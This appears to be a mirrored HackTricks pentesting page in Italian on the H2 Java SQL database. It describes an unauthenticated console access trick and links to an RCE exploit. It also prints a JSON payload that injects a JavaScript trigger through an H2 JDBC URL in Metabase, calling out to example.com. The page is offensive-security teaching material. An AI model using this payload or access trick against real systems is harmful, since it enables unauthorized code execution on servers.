mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
1.4 KiB
Markdown
37 lines
1.4 KiB
Markdown
# H2 - Java SQL database
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Pagina ufficiale: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
|
|
|
|
## Accesso
|
|
|
|
Puoi indicare un **nome di database non esistente** per **creare un nuovo database senza credenziali valide** (**non autenticato**):
|
|
|
|
.png>)
|
|
|
|
Oppure, se sai che ad esempio un **mysql è in esecuzione** e conosci il **nome del database** e le **credenziali** per quel database, puoi semplicemente accedervi:
|
|
|
|
.png>)
|
|
|
|
_**Trucco dalla box Hawk di HTB.**_
|
|
|
|
## **RCE**
|
|
|
|
Avendo accesso per comunicare con il database H2, controlla questo exploit per ottenere RCE su di esso: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed)
|
|
|
|
## H2 SQL Injection per RCE
|
|
|
|
In [**questo post**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) viene spiegato un payload per ottenere **RCE tramite un database H2** abusando di una **SQL Injection**.
|
|
```json
|
|
[...]
|
|
"details":
|
|
{
|
|
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
|
|
"advanced-options": false,
|
|
"ssl": true
|
|
},
|
|
[...]
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|